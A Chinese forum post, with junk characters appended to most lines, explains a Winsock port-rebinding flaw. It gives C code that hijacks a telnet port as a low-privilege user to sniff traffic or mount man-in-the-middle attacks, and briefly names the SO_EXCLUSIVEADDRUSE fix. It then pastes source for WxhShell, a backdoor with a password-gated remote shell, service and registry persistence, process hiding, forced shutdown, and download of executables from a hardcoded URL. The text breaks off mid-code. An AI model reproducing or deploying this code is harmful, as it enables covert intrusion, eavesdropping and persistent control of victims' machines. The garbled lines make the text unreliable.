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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SE%B&8ZD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lTl-<E;  
9i hB;m'C)  
  saddr.sin_family = AF_INET; ao2NwH##  
7(RtPL pZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *D&(6$[^  
jH+ddBVA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^gP pmb<x  
G}!dm0s$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wc&%icF*cr  
:~K c"Pg  
  这意味着什么?意味着可以进行如下的攻击: }m!L2iK4qk  
y|sU-O2}Dl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (/x%zmY;/U  
[1 pWg^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 13+f ^  
+;Yd<~!c Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >=G-^z:  
6[r-8_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P ?- #d\qi  
={HYwP;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [sxJ<  
<1r#hFUUL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uc>u=kEue  
o>(I_3J[p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >A'Q9Tia;  
dj>ZHdTn  
  #include O[9>^y\,  
  #include +48a..4sN  
  #include An cka  
  #include    SSoD}N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ccUI\!TD{/  
  int main() }6U`/"RfcO  
  { ??X3teO{  
  WORD wVersionRequested; ,hMd xZJd  
  DWORD ret; wrORyj  
  WSADATA wsaData; 33O O%rWi  
  BOOL val; A6ar@$MZ  
  SOCKADDR_IN saddr; l1<]pdLTR  
  SOCKADDR_IN scaddr; >bgx o<  
  int err; +(a}S$C  
  SOCKET s; MST\_s%[  
  SOCKET sc; e}F1ZJz  
  int caddsize; vKX6@eg"  
  HANDLE mt; @51!vQwqR  
  DWORD tid;   G@Jl4iHug"  
  wVersionRequested = MAKEWORD( 2, 2 ); UW!*=?h  
  err = WSAStartup( wVersionRequested, &wsaData ); u~JCMM$  
  if ( err != 0 ) { z}772hMB  
  printf("error!WSAStartup failed!\n"); 0uw3[,I   
  return -1; 2q4dCbJ!  
  } ,WvCslZ  
  saddr.sin_family = AF_INET; (x+C =1,  
   #b^x!lR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^@"H(1Hxu/  
")gd)_FOS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3U.?Jbm-8  
  saddr.sin_port = htons(23); -W6r.E$mC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r~<I5MZY  
  { >v r! 3  
  printf("error!socket failed!\n"); { \r1A  
  return -1; 4`KQ@m  
  } {c#{dT  
  val = TRUE; -Hx._I$l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e9F\U   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -GqMis}c  
  { F:3*i^ L  
  printf("error!setsockopt failed!\n"); k+D32]b@  
  return -1; K3CTxU(  
  } *8WcRx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9f wFSJx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2r 0u[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h 2Kx  
U\<8}+x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PkqOBU*|=  
  { b*AL,n?  
  ret=GetLastError(); RhL!Z z  
  printf("error!bind failed!\n"); J&vmW}&  
  return -1; `S&$y4|Vs  
  } W5&;PkhQ6  
  listen(s,2); CO)BF%?B  
  while(1) .lcI"%>  
  { bOY<C%;C  
  caddsize = sizeof(scaddr); KRL9dD,&  
  //接受连接请求 BLno/JK0}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7yp}*b{s  
  if(sc!=INVALID_SOCKET) hYj!*P)uV  
  { ,hggmzA~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =}8:zO 2'{  
  if(mt==NULL) 2V-zmyJs5  
  { F74^HQ*J  
  printf("Thread Creat Failed!\n"); qYwEPGa\  
  break; ~EV7E F  
  } *j`{ K  
  } 0_A|K>7  
  CloseHandle(mt); z. 6-D  
  } vz~QR i*  
  closesocket(s); H7I&Ky  
  WSACleanup(); m$w'`[H  
  return 0; L{2KK]IF  
  }   ~boTh  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3BSJ|o<"=  
  { 9"#,X36  
  SOCKET ss = (SOCKET)lpParam; 2v;F@fUB.  
  SOCKET sc; K<_bG<tm_  
  unsigned char buf[4096]; p>O>^R  
  SOCKADDR_IN saddr;  4dd]Ju  
  long num; $;1TP|  
  DWORD val;  UE-+P  
  DWORD ret; }H>}v/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'JjW5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E\X:VQ9  
  saddr.sin_family = AF_INET; hm&cRehU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~0^d-,ZD5  
  saddr.sin_port = htons(23); k3w(KH @  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YyF=u~l  
  { 5d4/}o}%"  
  printf("error!socket failed!\n"); @_+B'<2  
  return -1; xv+47.?N  
  } 5V{> 82  
  val = 100; gaIN]9wLm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ??7c9l5,  
  { L PDx3MS  
  ret = GetLastError(); qkg`4'rLg  
  return -1; zFq8xw  
  } o~(/Twxam  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ul/Uk n$  
  { .}O _5b(  
  ret = GetLastError(); -D4"uoN.  
  return -1; 5g-AB`6T  
  } _@gd9Fi7J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3G;#QK -c  
  { |P>Yf0  
  printf("error!socket connect failed!\n"); Fr,qVYf  
  closesocket(sc); *?-,=%,z/  
  closesocket(ss); p1blPBlp  
  return -1; ?|`Ba-  
  } $BPTk0Y  
  while(1) zD9gE  
  { 9 :ubPqt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8(b C.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bRhc8#kw)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VsrYU@V  
  num = recv(ss,buf,4096,0); &Oxf^x["]  
  if(num>0) zIeJ[J@  
  send(sc,buf,num,0); +IM: jrT(  
  else if(num==0) =Ay'\j  
  break; y;r{0lTB  
  num = recv(sc,buf,4096,0); cu~\&3 R  
  if(num>0) L2jjkyX]  
  send(ss,buf,num,0); T[<deQ  
  else if(num==0) :9O"?FE  
  break; RM(MCle}  
  } dYn<L/#  
  closesocket(ss); I8s%wY9  
  closesocket(sc); ~:ldGfb|  
  return 0 ; Z.iQm{bI  
  } ;L{#TC(]J]  
Pcs62aE  
V(5=-8k  
========================================================== 'PBuf:9lN  
ayR;|S  
下边附上一个代码,,WXhSHELL u |EECjJn  
\d&/,?,Ey  
========================================================== wyVQV8+&>  
:1 Y*&s  
#include "stdafx.h" p[J 8 r{'  
^hN.FIzM  
#include <stdio.h> }R\9y bv  
#include <string.h> 5{esL4k  
#include <windows.h> c'XvZNf .C  
#include <winsock2.h> p[&6hXTd  
#include <winsvc.h> I.qP$j  
#include <urlmon.h> n_qDg  
$UX^$gG  
#pragma comment (lib, "Ws2_32.lib") ="<S1}.  
#pragma comment (lib, "urlmon.lib") 5'mpd  
dPtQ Sa  
#define MAX_USER   100 // 最大客户端连接数 pp!>:%  
#define BUF_SOCK   200 // sock buffer @TWtM#  
#define KEY_BUFF   255 // 输入 buffer jb5nL`(j$  
EK JPeeRY  
#define REBOOT     0   // 重启 DClV&\i=o  
#define SHUTDOWN   1   // 关机 >,#7 3u#  
]\8{z"  
#define DEF_PORT   5000 // 监听端口 -2`D(xC  
r{Stsha(  
#define REG_LEN     16   // 注册表键长度 v)VhR2d3  
#define SVC_LEN     80   // NT服务名长度 i]L4kh5  
`H7V['  
// 从dll定义API TX%W-J _  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )HFl 0[vT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [|NgrU_.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )}KQtkU8:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 ~zo)G0  
+~H mP Q  
// wxhshell配置信息 , id`=L=  
struct WSCFG { F[65)"^  
  int ws_port;         // 监听端口 >d{O1by=d9  
  char ws_passstr[REG_LEN]; // 口令 #;#r4sJwU  
  int ws_autoins;       // 安装标记, 1=yes 0=no jl:dKL@  
  char ws_regname[REG_LEN]; // 注册表键名 y9>?  
  char ws_svcname[REG_LEN]; // 服务名 !8#!P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6$l6>A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (_Ld^ ^|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ijs"KAW ?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >h+G$&8[ y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pR VL}^Rk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~5f|L(ODX  
~H0WHqcy  
}; X`QfOs#\  
3cp"UU}.  
// default Wxhshell configuration L,QAE)S'a  
struct WSCFG wscfg={DEF_PORT, KT5"/fv  
    "xuhuanlingzhe", -XSu;'4q  
    1, >;ucwLi  
    "Wxhshell", 7r_Y.  
    "Wxhshell", OSvv\3=  
            "WxhShell Service", 6}vPwI  
    "Wrsky Windows CmdShell Service", SAa hkX  
    "Please Input Your Password: ", e?&4;  
  1, ,B,2t u2  
  "http://www.wrsky.com/wxhshell.exe", 4eOQP  
  "Wxhshell.exe" '$cU\DTN6  
    }; ON$^_l/c  
3j2% '$>E^  
// 消息定义模块 |VC/ (A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9 J$z/j;X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U73{Uv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o,fBOPIN  
char *msg_ws_ext="\n\rExit."; $X%w9l e  
char *msg_ws_end="\n\rQuit."; k($N_XlE  
char *msg_ws_boot="\n\rReboot..."; Ve4!MM@ti  
char *msg_ws_poff="\n\rShutdown..."; 'WUevPmt  
char *msg_ws_down="\n\rSave to "; pGy]t  
=;1MpD  
char *msg_ws_err="\n\rErr!"; 8: KlU(J  
char *msg_ws_ok="\n\rOK!"; YdI|xu>0A^  
[-@Lbu-|  
char ExeFile[MAX_PATH]; X3KP N  
int nUser = 0; A@@Z?t.  
HANDLE handles[MAX_USER]; >^@/Ba$h  
int OsIsNt; Q6cF <L`bW  
hr8v O"tZN  
SERVICE_STATUS       serviceStatus; ]hBp elKJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r+BPz%wM=O  
ZQHANr= 6  
// 函数声明 ~CQYF,[Th  
int Install(void); i%+p\eeq*  
int Uninstall(void); o3hsPzOQx  
int DownloadFile(char *sURL, SOCKET wsh); -P09u82  
int Boot(int flag); 1RtbQ{2F;  
void HideProc(void); ^G,]("di`  
int GetOsVer(void); pZ/aZg1Ld  
int Wxhshell(SOCKET wsl); 1 )aB']K%  
void TalkWithClient(void *cs); r@3VN~  
int CmdShell(SOCKET sock); CL*i,9:NR  
int StartFromService(void); Xi'y-cV ^  
int StartWxhshell(LPSTR lpCmdLine); ^/wvHu[#  
i;1aobG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a X>bC-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `0tzQ>ZQq  
( Ck|RojC  
// 数据结构和表定义 /++CwRz@Gm  
SERVICE_TABLE_ENTRY DispatchTable[] = 9PA\Eo|Yb  
{ 7_WD)Y2yS  
{wscfg.ws_svcname, NTServiceMain}, a_YE[6  
{NULL, NULL} y>vr Uxgo  
}; C@` eYi  
V `V Z[  
// 自我安装 3,8>\yf`  
int Install(void) W9~vBU  
{  _2VL%  
  char svExeFile[MAX_PATH]; Z8P{Cr~U9  
  HKEY key; |?CR|xqT  
  strcpy(svExeFile,ExeFile); MfhJb_q`  
Kb~s'cTxIO  
// 如果是win9x系统,修改注册表设为自启动 !5Ko^:+Y  
if(!OsIsNt) { DUc - D==  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u@\]r 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0^4uZeW?  
  RegCloseKey(key); j4L ) D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TY[1jW~{r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gxu&o%x [  
  RegCloseKey(key); =j]us?5  
  return 0; -b "7WBl  
    } |:SBkM,  
  } *ktM<N58  
} u+eA>{  
else {  $9dm2#0d  
0 !yvcviw  
// 如果是NT以上系统,安装为系统服务 |;o#-YosP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  H  
if (schSCManager!=0) &B\tcF  
{ PR=:3-#R  
  SC_HANDLE schService = CreateService N.OC _H&  
  ( [pOQpfo\  
  schSCManager, RKsr}-1 8  
  wscfg.ws_svcname, t>QAM6[  
  wscfg.ws_svcdisp, eOa:%{Kj  
  SERVICE_ALL_ACCESS, zXQ o pQ1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N!>Gg|@~  
  SERVICE_AUTO_START, <>`+" O}  
  SERVICE_ERROR_NORMAL, TQDb\d8,f  
  svExeFile, 8Czy<}S<G  
  NULL, :SilQm*Pl  
  NULL, "h'0&ZP~_  
  NULL, keNPlK%>  
  NULL, <Y9vc:S  
  NULL nYG$V)iCb  
  ); x g~q'>  
  if (schService!=0) {7 &(2Z]z  
  { D4[1CQ@}4D  
  CloseServiceHandle(schService); bj4cW\b(  
  CloseServiceHandle(schSCManager); 57e'a&}e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E\Hhi.-  
  strcat(svExeFile,wscfg.ws_svcname); ;o]'7qGb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZzPlIl}\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dxbP'2~  
  RegCloseKey(key); kD:O$8[J8  
  return 0; f^il|Obzl  
    } rmmN2+H  
  } 0qXd?z$  
  CloseServiceHandle(schSCManager); Yz;Hu$/  
} a9PSg/p  
} ~Emeo&X  
%E Jv!u*-  
return 1; So?SBh1C  
} #4"(M9kf  
N%!8I  
// 自我卸载 tjc3;9  
int Uninstall(void) y&Sl#IQ L  
{ mxsmW  
  HKEY key; e`ti*1]q  
v 0mc1g+9  
if(!OsIsNt) { z/u;afB9q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o %sBU  
  RegDeleteValue(key,wscfg.ws_regname); 57IAH$n8o  
  RegCloseKey(key); H%NIdgo}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '&,$"QXwE  
  RegDeleteValue(key,wscfg.ws_regname); _cdrz)T  
  RegCloseKey(key); X[b=25Ct  
  return 0; W|J8QNL?jm  
  } .w3.zZ0[  
} U8L%=/N>B  
}  f.acH]p  
else { LcS\#p#s]  
ei)ljvvmHP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (@*[^@ipV  
if (schSCManager!=0) s>(OK.o  
{ >2tQ')%DJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n{JBC%^g  
  if (schService!=0) Q!8AFLff4  
  { lPyGL-Q  
  if(DeleteService(schService)!=0) { [ sJ f)<  
  CloseServiceHandle(schService);  (`PgvBL:  
  CloseServiceHandle(schSCManager); `%}SK~<R  
  return 0; [:<CgU9C  
  } Yl%1e|WV  
  CloseServiceHandle(schService); Qa@b-v'by  
  } 7/QQ&7+NkS  
  CloseServiceHandle(schSCManager); KdI X`  
} }&A!h  
} Ik2y If5d  
FrBoE#  
return 1; %suSZw`  
} 0 `%eP5  
ZHT_o\  
// 从指定url下载文件 7(cRm$)L  
int DownloadFile(char *sURL, SOCKET wsh) 94 58.!3  
{ Z5 iP1/&D  
  HRESULT hr; ^\=<geEj  
char seps[]= "/"; )90Q  
char *token; D^ZG-WR  
char *file; dbM~41C6  
char myURL[MAX_PATH]; =K'X:UM  
char myFILE[MAX_PATH]; 5(RFk Zn4[  
J%ng8v5ex  
strcpy(myURL,sURL); r >bMx~a]  
  token=strtok(myURL,seps); 87WIDr  
  while(token!=NULL) K ZoIjK]  
  { CT5\8C  
    file=token; y#F`yXUj  
  token=strtok(NULL,seps); 3cfJ(%'X  
  } 50r3Kl0  
T DOOq;+  
GetCurrentDirectory(MAX_PATH,myFILE); M)4-eo  
strcat(myFILE, "\\"); ~D# -i >Z  
strcat(myFILE, file); fA"N5qQI(  
  send(wsh,myFILE,strlen(myFILE),0); O[%"zO"S  
send(wsh,"...",3,0); r}351S5(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .Z%y16)T  
  if(hr==S_OK) 8~*<s5H  
return 0; 4WCWu}  
else zq]I"0Bi.  
return 1; b(^/WCykH  
Mttt]]  
} m?3!  
.\Gl)W  
// 系统电源模块 &b :u~puM  
int Boot(int flag) t~vOm   
{ dy/\>hu  
  HANDLE hToken; 9!'qLO  
  TOKEN_PRIVILEGES tkp; l0Rjq*5hJ  
9*s''=  
  if(OsIsNt) { %f[0&)1!.v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E"i<fr T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J,N='~kfh  
    tkp.PrivilegeCount = 1; Dp1FX"a)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9$ GA s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K4w %XVaH  
if(flag==REBOOT) { z!`aJE/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W5 l)mAv  
  return 0; NsbC0xLd  
} J)R2O{z  
else { nsf.wHGZ"J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [l~Gwaul>  
  return 0; m@(8-_  
} ~>2DA$Ec  
  } j&6O 1  
  else { Mw{0A\6  
if(flag==REBOOT) { :Q\Es:y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Uz2(zqS  
  return 0; h>0R!Rl8  
} ~HW8mly'  
else { C1V:_-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AQ}(v,DOb  
  return 0; R\i8O^[  
} TNi4H:\  
} :eHD{=  
@^q|C&j  
return 1; #:q$sKQ_$  
} <H; z4  
m!'moumL;  
// win9x进程隐藏模块 fRcs@yZnS  
void HideProc(void) " pZvV0'  
{ p?@R0]  
MKdS_&F;~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); adCTo  
  if ( hKernel != NULL ) 3bWYRW  
  { ~ShoU m[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;FQ<4PR$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <^+x}KV I  
    FreeLibrary(hKernel); W't?aj I|  
  } jH5VrN*Q  
wSV}{9}wr%  
return; vHydqFi9  
} 8D H~~by  
_ ^2\/@  
// 获取操作系统版本 S]"U(JmW\  
int GetOsVer(void) "d5nVO/  
{ . X:  
  OSVERSIONINFO winfo; ]3KMFV}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fen~k#|l  
  GetVersionEx(&winfo); V(6*wQ`&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (GCeD-  
  return 1; ^Rpy5/d  
  else 9Z[EzKd<~'  
  return 0; e=H,|)P  
} av8\?xmo.$  
HL`=zB%  
// 客户端句柄模块 ELvP<Ny}  
int Wxhshell(SOCKET wsl) L vPcH  
{ HxAN&g *:  
  SOCKET wsh; t@#l0lu$  
  struct sockaddr_in client; TXWYQ~]3w  
  DWORD myID; QjIn0MJ)Xm  
sw\O\%^  
  while(nUser<MAX_USER) \3hj/   
{ hI#1Ybl  
  int nSize=sizeof(client); #Fwf]{J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wCitQ0?  
  if(wsh==INVALID_SOCKET) return 1; >WZ_) `R  
=i1+t"=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >^Z==1  
if(handles[nUser]==0) Lu.C+zgQ  
  closesocket(wsh); h>:eu#  
else `zP{E T_Y  
  nUser++; } \?]uNH  
  } tb1w 6jaU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #,5v#| u|7  
bd;?oYV~  
  return 0; + t JEG:  
} +oRBSAg-  
GF/!@N  
// 关闭 socket L5RBe  
void CloseIt(SOCKET wsh) \2^_v' >K  
{ ~gi,ky^!  
closesocket(wsh); U{Xx)l/o  
nUser--; gLzQM3{X9  
ExitThread(0); .QLjaEja  
} [B1h0IR  
Q13>z%Rge  
// 客户端请求句柄 c?t,,\o(}  
void TalkWithClient(void *cs) JU`5K}H<  
{ sKniqWi  
+ d289"  
  SOCKET wsh=(SOCKET)cs; hhr!FQ.+/  
  char pwd[SVC_LEN]; -VafN   
  char cmd[KEY_BUFF]; n:P++^ j  
char chr[1]; ;Ob`B@!=b  
int i,j; OaF[t*]D3  
Ch0t'  
  while (nUser < MAX_USER) { Z[%vO?,  
p->b Vt  
if(wscfg.ws_passstr) { ;a9`z+ K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7\<}378/^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *R_mvJlT  
  //ZeroMemory(pwd,KEY_BUFF); Z~Vups#+f  
      i=0; O!ngQrI  
  while(i<SVC_LEN) { e .(  
E%e2$KfD  
  // 设置超时 l}& &f8n  
  fd_set FdRead; oeA}b-Ct0  
  struct timeval TimeOut; $/|2d4O:{  
  FD_ZERO(&FdRead); #7BX,jvn>  
  FD_SET(wsh,&FdRead); 3aERfIJyE  
  TimeOut.tv_sec=8; h/xV;oj  
  TimeOut.tv_usec=0; Nu4PY@m]C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <E1ngG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?L(y8b}F(  
$guaUe[x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ){FXonVP  
  pwd=chr[0]; ]MaD7q>+R  
  if(chr[0]==0xd || chr[0]==0xa) { mNdEn<W  
  pwd=0; Yu e#  
  break; IRY/0v  
  } -esq]c%3  
  i++; P+(q38f[  
    } m5kt O^EU  
@3WI7q4  
  // 如果是非法用户,关闭 socket b6ui&Y8z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Farix1YDq  
} PsOu:`=r  
'E_~>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4fgYO]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cw,;>>Y_b<  
;Vlt4,s)  
while(1) { +H6cZ,  
9 6j*F,{  
  ZeroMemory(cmd,KEY_BUFF); mj|TWDcj+  
x>eV$UJ  
      // 自动支持客户端 telnet标准   54>gr1B  
  j=0; :Lh`Q"a  
  while(j<KEY_BUFF) { wpV)y Q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p$!Q?&AV/  
  cmd[j]=chr[0]; .e1Yd8  
  if(chr[0]==0xa || chr[0]==0xd) { 6sz:rv}  
  cmd[j]=0; gkMyo`  
  break; zTb,h  
  } 2NvbQ 3c5  
  j++; uj^l&"  
    } ty-erdsP  
zOsk'ZE&  
  // 下载文件 \ ix& U  
  if(strstr(cmd,"http://")) { M) Z3q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "|6763.{4  
  if(DownloadFile(cmd,wsh)) qg9VK'3o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~%Xs"R1c ,  
  else 3Sl2c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HqoCl  
  }  \>l DM  
  else { &8M^E/#.^;  
[a!*m<  
    switch(cmd[0]) { _}3NLAqg  
  *z6m644H  
  // 帮助 G * '1[Bu  
  case '?': { PsCr[\Ul  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {/}p"(^  
    break; CaqqH`/E4  
  } i[ 40p!~  
  // 安装 94b* !Z  
  case 'i': { _t.Ub:  
    if(Install()) O#3PUuE%d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1m.d;(1  
    else ' T%70)CM~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Vr;rk  
    break; C[s='v~}  
    } 141XnAb)I  
  // 卸载 X].Igb)2  
  case 'r': { SnFAv7_  
    if(Uninstall()) Bl*.N9*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8G?OZ47k#  
    else gQ=l\/ H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +hUz/G+3  
    break; |jJ9dTD8/  
    } z,IUCNgM  
  // 显示 wxhshell 所在路径 LypBS]r u  
  case 'p': { Q/^a(   
    char svExeFile[MAX_PATH]; .qg 2zE$0  
    strcpy(svExeFile,"\n\r"); SeIL   
      strcat(svExeFile,ExeFile); 8s)(e9Sr  
        send(wsh,svExeFile,strlen(svExeFile),0); F|^tRL-  
    break; Ae|bAyAK  
    } thrv_^A  
  // 重启 7]lUPLsl  
  case 'b': { f&88N<)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rs;Y|W4'  
    if(Boot(REBOOT)) IXof- I%8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |P(8T'  
    else { +puF0]TR,i  
    closesocket(wsh); r>Cv@4/j  
    ExitThread(0); eg(1kDMpn  
    } L]#b =Y  
    break; A? T25<}  
    } 4StoEgFS  
  // 关机 N`rz>6,k1  
  case 'd': { 8 GW0w  
